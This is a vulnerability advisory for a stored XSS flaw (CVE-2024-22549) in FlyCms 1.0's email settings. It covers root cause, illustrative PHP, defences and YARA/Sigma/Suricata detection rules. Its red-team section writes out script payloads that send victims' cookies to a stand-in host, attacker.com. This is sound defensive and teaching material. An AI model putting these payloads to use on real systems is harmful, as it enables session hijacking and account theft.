CVE-2024-22549

Executive Summary

CVE-2024-22549 identifies a stored Cross-Site Scripting (XSS) vulnerability in FlyCms version 1.0. The flaw resides in the email settings section of the website settings panel, allowing an authenticated attacker with administrative privileges to inject arbitrary JavaScript or HTML code. This code is then executed in the browsers of other administrators or users who view the affected settings page. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

FlyCms is a self-hosted content management system (CMS) written in PHP. It is not distributed via package managers like NPM, PyPI, Go, or Ruby. The vulnerability is a direct code-level flaw in the application's source code, not a dependency supply chain issue. Administrators should verify the integrity of their FlyCms installation and monitor for any third-party plugins or themes that may introduce similar risks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid admin account.
• User Interaction (UI): Required – The victim must visit the affected settings page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the impact can lead to session hijacking, defacement, or phishing within the admin panel.

Deep Dive & Mechanics

The vulnerability exists in the email settings functionality of FlyCms 1.0. When an administrator configures SMTP settings (e.g., SMTP host, username, password, or email address), the application fails to sanitize or encode user-supplied input before storing it in the database and rendering it on the settings page. An attacker with admin privileges can inject malicious JavaScript or HTML into any of these fields. When another administrator (or the same attacker) views the email settings page, the injected payload executes in the context of the victim's browser.

Root Cause: The application uses echo or similar output functions without proper escaping (e.g., htmlspecialchars() in PHP) when displaying stored email configuration values. This allows arbitrary HTML/JavaScript to be rendered.

Attack Flow:

1. Attacker logs in as an administrator.
2. Navigates to Website Settings → Email Settings.
3. Injects a payload like <script>alert('XSS')</script> into the SMTP Host field.
4. Saves the settings.
5. Victim administrator visits the same email settings page.
6. The payload executes, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms 1.0 - PHP):

// In the email settings view (e.g., admin/settings/email.php)
echo "<input type='text' name='smtp_host' value='" . $settings['smtp_host'] . "'>";

The $settings['smtp_host'] value is output directly without escaping.

Patched Code (Hypothetical Fix):

// Properly escape output
echo "<input type='text' name='smtp_host' value='" . htmlspecialchars($settings['smtp_host'], ENT_QUOTES, 'UTF-8') . "'>";

The htmlspecialchars() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of FlyCms 1.0.
• Valid admin credentials (e.g., admin:admin).

Step-by-Step Exploitation:

1. Log in to the admin panel (e.g., http://target/flycms/admin).
2. Navigate to Website Settings → Email Settings.
3. In the SMTP Host field, enter the following payload:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Click Save.
5. When another admin visits the same page, the script executes and sends the victim's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>new Image().src='http://attacker.com/steal?c='+document.cookie;</script>

Note: No public exploit code (e.g., from Exploit-DB) is available. The above steps are based on the vulnerability description.

Blue Team (Defensive)

Detection & Prevention:

• Input Validation: Ensure all input fields are validated on the server side (e.g., allow only alphanumeric characters for hostnames).
• Output Encoding: Use htmlspecialchars() or equivalent for all user-controlled data rendered in HTML.
• Content Security Policy (CSP): Implement a strict CSP header to block inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

• Web Application Firewall (WAF): Deploy a WAF rule to block common XSS patterns (e.g., <script> tags).
• Least Privilege: Restrict admin access to only trusted users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the FlyCms server.
  • Suspicious parameters in HTTP requests to /admin/settings/email containing <script> or onerror attributes.
• File IOCs:
  • Modified entries in the FlyCms database (e.g., settings table) containing JavaScript payloads.
• Log IOCs:
  • Admin panel access logs showing repeated visits to the email settings page.
  • Error logs containing unexpected HTML/JavaScript in SMTP fields.

Detection Engineering

YARA Rule

rule flycms_xss_email_settings {
    meta:
        description = "Detects FlyCms 1.0 XSS payload in email settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-22549"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $onerror_payload = /onerror\s*=\s*["']?[^"']*["']?/i
    condition:
        $xss_payload or $onerror_payload
}

Sigma Rule

title: FlyCms Email Settings XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS attempts in FlyCms email settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/settings/email'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-22549 FlyCms Email Settings XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/settings/email"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-22549;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Email Settings Access: Temporarily restrict access to the email settings page using .htaccess or server-level authentication.
2. Apply Virtual Patching: Use a WAF to block requests containing <script> or onerror in POST parameters to /admin/settings/email.
3. Audit Admin Accounts: Review and revoke unnecessary admin privileges.

Long-Term Fix:

• Manual Code Patch: Edit the vulnerable PHP file (likely admin/settings/email.php) to use htmlspecialchars() for all output.
• Upgrade: If a patched version becomes available, upgrade immediately.
• Monitor: Subscribe to FlyCms security advisories for official patches.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert